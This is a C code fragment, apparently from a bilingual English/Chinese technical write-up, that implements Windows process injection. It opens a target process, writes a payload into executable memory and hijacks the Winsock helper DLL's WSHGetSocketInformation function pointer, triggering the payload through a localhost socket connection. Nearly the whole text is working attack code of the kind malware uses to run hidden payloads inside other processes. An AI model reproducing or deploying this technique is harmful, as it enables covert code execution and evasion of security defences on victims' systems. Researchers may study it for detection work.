typedef struct _WINSOCK_HELPER_DLL_INFO {
    LIST_ENTRY                  HelperDllListEntry;
    DWORD                       Unknown;
    HANDLE                      DllHandle;
    INT                         MinSockaddrLength;
    INT                         MaxSockaddrLength;
    INT                         MinTdiAddressLength;
    INT                         MaxTdiAddressLength;
    ULONG64                     UseDelayedAcceptance;
    PWINSOCK_MAPPING            Mapping;
    GUID                        ProviderGUID;
    PWSH_OPEN_SOCKET            WSHOpenSocket;
    PWSH_OPEN_SOCKET2           WSHOpenSocket2;
    PWSH_JOIN_LEAF              WSHJoinLeaf;
    PWSH_NOTIFY                 WSHNotify;
    PWSH_GET_SOCKET_INFORMATION WSHGetSocketInformation;
    PWSH_SET_SOCKET_INFORMATION WSHSetSocketInformation;
    PWSH_GET_SOCKADDR_TYPE      WSHGetSockaddrType;
    PWSH_GET_WILDCARD_SOCKADDR  WSHGetWildcardSockaddr;
    PWSH_GET_BROADCAST_SOCKADDR WSHGetBroadcastSockaddr;
    PWSH_ADDRESS_TO_STRING      WSHAddressToString;
    PWSH_STRING_TO_ADDRESS      WSHStringToAddress;
    PWSH_IOCTL                  WSHIoctl;
} WINSOCK_HELPER_DLL_INFO, *PWINSOCK_HELPER_DLL_INFO;

VOID inject(DWORD pid, WORD port, LPVOID payload, DWORD payloadSize) {
	DWORD                   rva, r;
	HANDLE                  hp;
	WINSOCK_HELPER_DLL_INFO hdi;
	LPVOID                  cs, addr;
	SIZE_T                  wr;
	SOCKET                  s;
	struct sockaddr_in      sin;

	// 1. Try open process for reading/writing VM
	// 1. 尝试打开进程来进行读写虚拟内存
	hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

	if (hp == NULL) {
		printf("Unable to open PID : %i\n", pid);
		return;
	}

	// 2. Get helper DLL entry for TCP v4
	// 2. 获取TCP v4的helper DLL的入口
	addr = GetHelperDLLInfo(hp, pid, &hdi);

	if (addr != NULL) {
		// 3. Create a windows socket and write the payload to remote process
		// 3. 创建一个windows socket 并向远程进程写payload
		s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

		cs = VirtualAllocEx(hp, NULL, payloadSize,
			MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

		// 4. Update the function pointer with pointer to payload
		// 4. 修改函数指针指向payload
		WriteProcessMemory(
			hp,
			(PBYTE)addr + offsetof(WINSOCK_HELPER_DLL_INFO, WSHGetSocketInformation),
			&cs,
			sizeof(ULONG_PTR),
			&wr);

		// 5. Trigger it with connection to the port on localhost
		// 5. 连接localhost的端口来触发调用payload
		sin.sin_family = AF_INET;
		sin.sin_port = htons(port);
		sin.sin_addr.s_addr = inet_addr("127.0.0.1");

		connect(s, (struct sockaddr*)&sin, sizeof(sin));

		// wait a moment before restoring pointer
		Sleep(0);

		// 6. Restore function pointer and clean up
		// 6. 恢复函数指针并清理
		WriteProcessMemory(
			hp,
			(PBYTE)addr + offsetof(WINSOCK_HELPER_DLL_INFO, WSHGetSocketInformation),
			&hdi.WSHGetSocketInformation,
			sizeof(ULONG_PTR),
			&wr);

		VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
		closesocket(s);
	}
	CloseHandle(hp);
}

结论